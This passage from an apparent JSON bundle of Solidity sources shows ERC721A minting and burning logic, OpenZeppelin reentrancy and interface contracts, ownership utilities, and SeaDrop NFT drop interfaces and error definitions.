memory _data\n ) private returns (bool) {\n try\n ERC721A__IERC721Receiver(to).onERC721Received(\n _msgSenderERC721A(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return\n retval ==\n ERC721A__IERC721Receiver(to).onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert TransferToNonERC721ReceiverImplementer();\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n\n // =============================================================\n // MINT OPERATIONS\n // =============================================================\n\n /**\n * @dev Mints `quantity` tokens and transfers them to `to`.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `quantity` must be greater than 0.\n *\n * Emits a {Transfer} event for each mint.\n */\n function _mint(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n // Overflows are incredibly unrealistic.\n // `balance` and `numberMinted` have a maximum limit of 2**64.\n // `tokenId` has a maximum limit of 2**256.\n unchecked {\n // Updates:\n // - `balance += quantity`.\n // - `numberMinted += quantity`.\n //\n // We can directly add to the `balance` and `numberMinted`.\n _packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n // Updates:\n // - `address` to the owner.\n // - `startTimestamp` to the timestamp of minting.\n // - `burned` to `false`.\n // - `nextInitialized` to `quantity == 1`.\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n uint256 toMasked;\n uint256 end = startTokenId + quantity;\n\n // Use assembly to loop and emit the `Transfer` event for gas savings.\n // The duplicated `log4` removes an extra check and reduces stack juggling.\n // The assembly, together with the surrounding Solidity code, have been\n // delicately arranged to nudge the compiler into producing optimized opcodes.\n assembly {\n // Mask `to` to the lower 160 bits, in case the upper bits somehow aren't clean.\n toMasked := and(to, _BITMASK_ADDRESS)\n // Emit the `Transfer` event.\n log4(\n 0, // Start of data (0, since no data).\n 0, // End of data (0, since no data).\n _TRANSFER_EVENT_SIGNATURE, // Signature.\n 0, // `address(0)`.\n toMasked, // `to`.\n startTokenId // `tokenId`.\n )\n\n // The `iszero(eq(,))` check ensures that large values of `quantity`\n // that overflows uint256 will make the loop run out of gas.\n // The compiler will optimize the `iszero` away for performance.\n for {\n let tokenId := add(startTokenId, 1)\n } iszero(eq(tokenId, end)) {\n tokenId := add(tokenId, 1)\n } {\n // Emit the `Transfer` event. Similar to above.\n log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId)\n }\n }\n if (toMasked == 0) revert MintToZeroAddress();\n\n _currentIndex = end;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n /**\n * @dev Mints `quantity` tokens and transfers them to `to`.\n *\n * This function is intended for efficient minting only during contract creation.\n *\n * It emits only one {ConsecutiveTransfer} as defined in\n * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309),\n * instead of a sequence of {Transfer} event(s).\n *\n * Calling this function outside of contract creation WILL make your contract\n * non-compliant with the ERC721 standard.\n * For full ERC721 compliance, substituting ERC721 {Transfer} event(s) with the ERC2309\n * {ConsecutiveTransfer} event is only permissible during contract creation.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `quantity` must be greater than 0.\n *\n * Emits a {ConsecutiveTransfer} event.\n */\n function _mintERC2309(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n if (to == address(0)) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT)\n revert MintERC2309QuantityExceedsLimit();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n // Overflows are unrealistic due to the above check for `quantity` to be below the limit.\n unchecked {\n // Updates:\n // - `balance += quantity`.\n // - `numberMinted += quantity`.\n //\n // We can directly add to the `balance` and `numberMinted`.\n _packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n // Updates:\n // - `address` to the owner.\n // - `startTimestamp` to the timestamp of minting.\n // - `burned` to `false`.\n // - `nextInitialized` to `quantity == 1`.\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n emit ConsecutiveTransfer(\n startTokenId,\n startTokenId + quantity - 1,\n address(0),\n to\n );\n\n _currentIndex = startTokenId + quantity;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n /**\n * @dev Safely mints `quantity` tokens and transfers them to `to`.\n *\n * Requirements:\n *\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called for each safe transfer.\n * - `quantity` must be greater than 0.\n *\n * See {_mint}.\n *\n * Emits a {Transfer} event for each mint.\n */\n function _safeMint(\n address to,\n uint256 quantity,\n bytes memory _data\n ) internal virtual {\n _mint(to, quantity);\n\n unchecked {\n if (to.code.length != 0) {\n uint256 end = _currentIndex;\n uint256 index = end - quantity;\n do {\n if (\n !_checkContractOnERC721Received(\n address(0),\n to,\n index++,\n _data\n )\n ) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n } while (index < end);\n // Reentrancy protection.\n if (_currentIndex != end) revert();\n }\n }\n }\n\n /**\n * @dev Equivalent to `_safeMint(to, quantity, '')`.\n */\n function _safeMint(address to, uint256 quantity) internal virtual {\n _safeMint(to, quantity, \"\");\n }\n\n // =============================================================\n // BURN OPERATIONS\n // =============================================================\n\n /**\n * @dev Equivalent to `_burn(tokenId, false)`.\n */\n function _burn(uint256 tokenId) internal virtual {\n _burn(tokenId, false);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId, bool approvalCheck) internal virtual {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n address from = address(uint160(prevOwnershipPacked));\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n if (approvalCheck) {\n // The nested ifs save around 20+ gas over a compound boolean condition.\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n ) {\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n }\n }\n\n _beforeTokenTransfers(from, address(0), tokenId, 1);\n\n // Clear approvals from the previous owner.\n assembly {\n if approvedAddress {\n // This is equivalent to `delete _tokenApprovals[tokenId]`.\n sstore(approvedAddressSlot, 0)\n }\n }\n\n // Underflow of the sender's balance is impossible because we check for\n // ownership above and the recipient's balance can't realistically overflow.\n // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.\n unchecked {\n // Updates:\n // - `balance -= 1`.\n // - `numberBurned += 1`.\n //\n // We can directly decrement the balance, and increment the number burned.\n // This is equivalent to `packed -= 1; packed += 1 << _BITPOS_NUMBER_BURNED;`.\n _packedAddressData[from] += (1 << _BITPOS_NUMBER_BURNED) - 1;\n\n // Updates:\n // - `address` to the last owner.\n // - `startTimestamp` to the timestamp of burning.\n // - `burned` to `true`.\n // - `nextInitialized` to `true`.\n _packedOwnerships[tokenId] = _packOwnershipData(\n from,\n (_BITMASK_BURNED | _BITMASK_NEXT_INITIALIZED) |\n _nextExtraData(from, address(0), prevOwnershipPacked)\n );\n\n // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n // If the next slot's address is zero and not burned (i.e. packed value is zero).\n if (_packedOwnerships[nextTokenId] == 0) {\n // If the next slot is within bounds.\n if (nextTokenId != _currentIndex) {\n // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, address(0), tokenId);\n _afterTokenTransfers(from, address(0), tokenId, 1);\n\n // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.\n unchecked {\n _burnCounter++;\n }\n }\n\n // =============================================================\n // EXTRA DATA OPERATIONS\n // =============================================================\n\n /**\n * @dev Directly sets the extra data for the ownership data `index`.\n */\n function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual {\n uint256 packed = _packedOwnerships[index];\n if (packed == 0) revert OwnershipNotInitializedForExtraData();\n uint256 extraDataCasted;\n // Cast `extraData` with assembly to avoid redundant masking.\n assembly {\n extraDataCasted := extraData\n }\n packed =\n (packed & _BITMASK_EXTRA_DATA_COMPLEMENT) |\n (extraDataCasted << _BITPOS_EXTRA_DATA);\n _packedOwnerships[index] = packed;\n }\n\n /**\n * @dev Called during each token transfer to set the 24bit `extraData` field.\n * Intended to be overridden by the cosumer contract.\n *\n * `previousExtraData` - the value of `extraData` before transfer.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, `tokenId` will be burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _extraData(\n address from,\n address to,\n uint24 previousExtraData\n ) internal view virtual returns (uint24) {}\n\n /**\n * @dev Returns the next extra data for the packed ownership data.\n * The returned result is shifted into position.\n */\n function _nextExtraData(\n address from,\n address to,\n uint256 prevOwnershipPacked\n ) private view returns (uint256) {\n uint24 extraData = uint24(prevOwnershipPacked >> _BITPOS_EXTRA_DATA);\n return uint256(_extraData(from, to, extraData)) << _BITPOS_EXTRA_DATA;\n }\n\n // =============================================================\n // OTHER OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the message sender (defaults to `msg.sender`).\n *\n * If you are writing GSN compatible contracts, you need to override this function.\n */\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n /**\n * @dev Converts a uint256 to its ASCII string decimal representation.\n */\n function _toString(uint256 value)\n internal\n pure\n virtual\n returns (string memory str)\n {\n assembly {\n // The maximum value of a uint256 contains 78 digits (1 byte per digit), but\n // we allocate 0xa0 bytes to keep the free memory pointer 32-byte word aligned.\n // We will need 1 word for the trailing zeros padding, 1 word for the length,\n // and 3 words for a maximum of 78 digits. Total: 5 * 0x20 = 0xa0.\n let m := add(mload(0x40), 0xa0)\n // Update the free memory pointer to allocate.\n mstore(0x40, m)\n // Assign the `str` to the end.\n str := sub(m, 0x20)\n // Zeroize the slot after the string.\n mstore(str, 0)\n\n // Cache the end of the memory to calculate the length later.\n let end := str\n\n // We write the string from rightmost digit to leftmost digit.\n // The following is essentially a do-while loop that also handles the zero case.\n // prettier-ignore\n for { let temp := value } 1 {} {\n str := sub(str, 1)\n // Write the character to the pointer.\n // The ASCII index of the '0' character is 48.\n mstore8(str, add(48, mod(temp, 10)))\n // Keep dividing `temp` until zero.\n temp := div(temp, 10)\n // prettier-ignore\n if iszero(temp) { break }\n }\n\n let length := sub(end, str)\n // Move the pointer 32 bytes leftwards to make room for the length.\n str := sub(str, 0x20)\n // Store the length.\n mstore(str, length)\n }\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/security/ReentrancyGuardUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuardUpgradeable is Initializable {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n function __ReentrancyGuard_init() internal onlyInitializing {\n __ReentrancyGuard_init_unchained();\n }\n\n function __ReentrancyGuard_init_unchained() internal onlyInitializing {\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and making it call a\n * `private` function that does the actual work.\n */\n modifier nonReentrant() {\n _nonReentrantBefore();\n _;\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n // On the first call to nonReentrant, _status will be _NOT_ENTERED\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Returns true if the reentrancy guard is currently set to \"entered\", which indicates there is a\n * `nonReentrant` function in the call stack.\n */\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"src/interfaces/ISeaDropTokenContractMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport { IERC2981 } from \"openzeppelin-contracts/interfaces/IERC2981.sol\";\n\ninterface ISeaDropTokenContractMetadata is IERC2981 {\n /**\n * @notice Throw if the max supply exceeds uint64, a limit\n * due to the storage of bit-packed variables in ERC721A.\n */\n error CannotExceedMaxSupplyOfUint64(uint256 newMaxSupply);\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after the mint has started.\n */\n error ProvenanceHashCannotBeSetAfterMintStarted();\n\n /**\n * @dev Revert if the royalty basis points is greater than 10_000.\n */\n error InvalidRoyaltyBasisPoints(uint256 basisPoints);\n\n /**\n * @dev Revert if the royalty address is being set to the zero address.\n */\n error RoyaltyAddressCannotBeZeroAddress();\n\n /**\n * @dev Emit an event for token metadata reveals/updates,\n * according to EIP-4906.\n *\n * @param _fromTokenId The start token id.\n * @param _toTokenId The end token id.\n */\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n\n /**\n * @dev Emit an event when the URI for the collection-level metadata\n * is updated.\n */\n event ContractURIUpdated(string newContractURI);\n\n /**\n * @dev Emit an event when the max token supply is updated.\n */\n event MaxSupplyUpdated(uint256 newMaxSupply);\n\n /**\n * @dev Emit an event with the previous and new provenance hash after\n * being updated.\n */\n event ProvenanceHashUpdated(bytes32 previousHash, bytes32 newHash);\n\n /**\n * @dev Emit an event when the royalties info is updated.\n */\n event RoyaltyInfoUpdated(address receiver, uint256 bps);\n\n /**\n * @notice A struct defining royalty info for the contract.\n */\n struct RoyaltyInfo {\n address royaltyAddress;\n uint96 royaltyBps;\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param tokenURI The new base URI to set.\n */\n function setBaseURI(string calldata tokenURI) external;\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external;\n\n /**\n * @notice Sets the max supply and emits an event.\n *\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 newMaxSupply) external;\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external;\n\n /**\n * @notice Sets the address and basis points for royalties.\n *\n * @param newInfo The struct to configure royalties.\n */\n function setRoyaltyInfo(RoyaltyInfo calldata newInfo) external;\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view returns (string memory);\n\n /**\n * @notice Returns the contract URI.\n */\n function contractURI() external view returns (string memory);\n\n /**\n * @notice Returns the max token supply.\n */\n function maxSupply() external view returns (uint256);\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view returns (bytes32);\n\n /**\n * @notice Returns the address that receives royalties.\n */\n function royaltyAddress() external view returns (address);\n\n /**\n * @notice Returns the royalty basis points out of 10_000.\n */\n function royaltyBasisPoints() external view returns (uint256);\n}\n"
},
"src/clones/ERC721AConduitPreapprovedCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport { ERC721ACloneable } from \"./ERC721ACloneable.sol\";\n\n/**\n * @title ERC721AConduitPreapprovedCloneable\n * @notice ERC721A with the OpenSea conduit preapproved.\n */\nabstract contract ERC721AConduitPreapprovedCloneable is ERC721ACloneable {\n /// @dev The canonical OpenSea conduit.\n address internal constant _CONDUIT =\n 0x1E0049783F008A0085193E00003D00cd54003c71;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the\n * assets of `owner`. Always returns true for the conduit.\n */\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n override\n returns (bool)\n {\n if (operator == _CONDUIT) {\n return true;\n }\n return ERC721ACloneable.isApprovedForAll(owner, operator);\n }\n}\n"
},
"src/lib/ERC721TransferValidator.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport { ICreatorToken } from \"../interfaces/ICreatorToken.sol\";\n\n/**\n * @title ERC721TransferValidator\n * @notice Functionality to use a transfer validator.\n */\nabstract contract ERC721TransferValidator is ICreatorToken {\n /// @dev Store the transfer validator. The null address means no transfer validator is set.\n address internal _transferValidator;\n\n /// @notice Revert with an error if the transfer validator is being set to the same address.\n error SameTransferValidator();\n\n /// @notice Returns the currently active transfer validator.\n /// The null address means no transfer validator is set.\n function getTransferValidator() external view returns (address) {\n return _transferValidator;\n }\n\n /// @notice Set the transfer validator.\n /// The external method that uses this must include access control.\n function _setTransferValidator(address newValidator) internal {\n address oldValidator = _transferValidator;\n if (oldValidator == newValidator) {\n revert SameTransferValidator();\n }\n _transferValidator = newValidator;\n emit TransferValidatorUpdated(oldValidator, newValidator);\n }\n}\n"
},
"src/interfaces/ICreatorToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\ninterface ICreatorToken {\n event TransferValidatorUpdated(address oldValidator, address newValidator);\n\n function getTransferValidator() external view returns (address validator);\n\n function getTransferValidationFunction()\n external\n view\n returns (bytes4 functionSignature, bool isViewFunction);\n\n function setTransferValidator(address validator) external;\n}\n\ninterface ILegacyCreatorToken {\n event TransferValidatorUpdated(address oldValidator, address newValidator);\n\n function getTransferValidator() external view returns (address validator);\n\n function setTransferValidator(address validator) external;\n}\n"
},
"src/interfaces/ITransferValidator.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\ninterface ITransferValidator721 {\n /// @notice Ensure that a transfer has been authorized for a specific tokenId\n function validateTransfer(\n address caller,\n address from,\n address to,\n uint256 tokenId\n ) external view;\n}\n\ninterface ITransferValidator1155 {\n /// @notice Ensure that a transfer has been authorized for a specific amount of a specific tokenId, and reduce the transferable amount remaining\n function validateTransfer(\n address caller,\n address from,\n address to,\n uint256 tokenId,\n uint256 amount\n ) external;\n}\n"
},
"lib/utility-contracts/src/TwoStepOwnable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.4;\n\nimport {ConstructorInitializable} from \"./ConstructorInitializable.sol\";\n\n/**\n@notice A two-step extension of Ownable, where the new owner must claim ownership of the contract after owner initiates transfer\nOwner can cancel the transfer at any point before the new owner claims ownership.\nHelpful in guarding against transferring ownership to an address that is unable to act as the Owner.\n*/\nabstract contract TwoStepOwnable is ConstructorInitializable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n address internal potentialOwner;\n\n event PotentialOwnerUpdated(address newPotentialAdministrator);\n\n error NewOwnerIsZeroAddress();\n error NotNextOwner();\n error OnlyOwner();\n\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n constructor() {\n _initialize();\n }\n\n function _initialize() private onlyConstructor {\n _transferOwnership(msg.sender);\n }\n\n ///@notice Initiate ownership transfer to newPotentialOwner. Note: new owner will have to manually acceptOwnership\n ///@param newPotentialOwner address of potential new owner\n function transferOwnership(address newPotentialOwner)\n public\n virtual\n onlyOwner\n {\n if (newPotentialOwner == address(0)) {\n revert NewOwnerIsZeroAddress();\n }\n potentialOwner = newPotentialOwner;\n emit PotentialOwnerUpdated(newPotentialOwner);\n }\n\n ///@notice Claim ownership of smart contract, after the current owner has initiated the process with transferOwnership\n function acceptOwnership() public virtual {\n address _potentialOwner = potentialOwner;\n if (msg.sender != _potentialOwner) {\n revert NotNextOwner();\n }\n delete potentialOwner;\n emit PotentialOwnerUpdated(address(0));\n _transferOwnership(_potentialOwner);\n }\n\n ///@notice cancel ownership transfer\n function cancelOwnershipTransfer() public virtual onlyOwner {\n delete potentialOwner;\n emit PotentialOwnerUpdated(address(0));\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n if (_owner != msg.sender) {\n revert OnlyOwner();\n }\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"src/lib/SeaDropErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport { PublicDrop, TokenGatedDropStage, SignedMintValidationParams } from \"./SeaDropStructs.sol\";\n\ninterface SeaDropErrorsAndEvents {\n /**\n * @dev Revert with an error if the drop stage is not active.\n */\n error NotActive(\n uint256 currentTimestamp,\n uint256 startTimestamp,\n uint256 endTimestamp\n );\n\n /**\n * @dev Revert with an error if the mint quantity is zero.\n */\n error MintQuantityCannotBeZero();\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max allowed\n * to be minted per wallet.\n */\n error MintQuantityExceedsMaxMintedPerWallet(uint256 total, uint256 allowed);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply for the stage.\n * Note: The `maxTokenSupplyForStage` for public mint is\n * always `type(uint).max`.\n */\n error MintQuantityExceedsMaxTokenSupplyForStage(\n uint256 total, \n uint256 maxTokenSupplyForStage\n );\n \n /**\n * @dev Revert if the fee recipient is the zero address.\n */\n error FeeRecipientCannotBeZeroAddress();\n\n /**\n * @dev Revert if the fee recipient is not already included.\n */\n error FeeRecipientNotPresent();\n\n /**\n * @dev Revert if the fee basis points is greater than 10_000.\n */\n error InvalidFeeBps(uint256 feeBps);\n\n /**\n * @dev Revert if the fee recipient is already included.\n */\n error DuplicateFeeRecipient();\n\n /**\n * @dev Revert if the fee recipient is restricted and not allowed.\n */\n error FeeRecipientNotAllowed();\n\n /**\n * @dev Revert if the creator payout address is the zero address.\n */\n error CreatorPayoutAddressCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if the received payment is incorrect.\n */\n error IncorrectPayment(uint256 got, uint256 want);\n\n /**\n * @dev Revert with an error if the allow list proof is invalid.\n */\n error InvalidProof();\n\n /**\n * @dev Revert if a supplied signer address is the zero address.\n */\n error SignerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if signer's signature is invalid.\n */\n error InvalidSignature(address recoveredSigner);\n\n /**\n * @dev Revert with an error if a signer is not included in\n * the enumeration when removing.\n */\n error SignerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is not included in\n * the enumeration when removing.\n */\n error PayerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is already included in mapping\n * when adding.\n * Note: only applies when adding a single payer, as duplicates in\n * enumeration can be removed with updatePayer.\n */\n error DuplicatePayer();\n\n /**\n * @dev Revert with an error if the payer is not allowed. The minter must\n * pay for their own mint.\n */\n error PayerNotAllowed();\n\n /**\n * @dev Revert if a supplied payer address is the zero address.\n */\n error PayerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if the sender does not\n * match the INonFungibleSeaDropToken interface.\n */\n error OnlyINonFungibleSeaDropToken(address sender);\n\n /**\n * @dev Revert with an error if the sender of a token gated supplied\n * drop stage redeem is not the owner of the token.\n */\n error TokenGatedNotTokenOwner(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n );\n\n /**\n * @dev Revert with an error if the token id has already been used to\n * redeem a token gated drop stage.\n */\n error TokenGatedTokenIdAlreadyRedeemed(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n );\n\n /**\n * @dev Revert with an error if an empty TokenGatedDropStage is provided\n * for an already-empty TokenGatedDropStage.\n */\n error TokenGatedDropStageNotPresent();\n\n /**\n * @dev Revert with an error if an allowedNftToken is set to\n * the zero address.\n */\n error TokenGatedDropAllowedNftTokenCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if an allowedNftToken is set to\n * the drop token itself.\n */\n error TokenGatedDropAllowedNftTokenCannotBeDropToken();\n\n\n /**\n * @dev Revert with an error if supplied signed mint price is less than\n * the minimum specified.\n */\n error InvalidSignedMintPrice(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if supplied signed maxTotalMintableByWallet\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTotalMintableByWallet(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed start time is less than\n * the minimum specified.\n */\n error InvalidSignedStartTime(uint256 got, uint256 minimum);\n \n /**\n * @dev Revert with an error if supplied signed end time is greater than\n * the maximum specified.\n */\n error InvalidSignedEndTime(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed maxTokenSupplyForStage\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTokenSupplyForStage(uint256 got, uint256 maximum);\n \n /**\n * @dev Revert with an error if supplied signed feeBps is greater than\n * the maximum specified, or less than the minimum.\n */\n error InvalidSignedFeeBps(uint256 got, uint256 minimumOrMaximum);\n\n /**\n * @dev Revert with an error if signed mint did not specify to restrict\n * fee recipients.\n */\n error SignedMintsMustRestrictFeeRecipients();\n\n /**\n * @dev Revert with an error if a signature for a signed mint has already\n * been used.\n */\n error SignatureAlreadyUsed();\n\n /**\n * @dev An event with details of a SeaDrop mint, for analytical purposes.\n * \n * @param nftContract The nft contract.\n * @param minter The mint recipient.\n * @param feeRecipient The fee recipient.\n * @param payer The address who payed for the tx.\n * @param quantityMinted The number of tokens minted.\n * @param unitMintPrice The amount paid for each token.\n * @param feeBps The fee out of 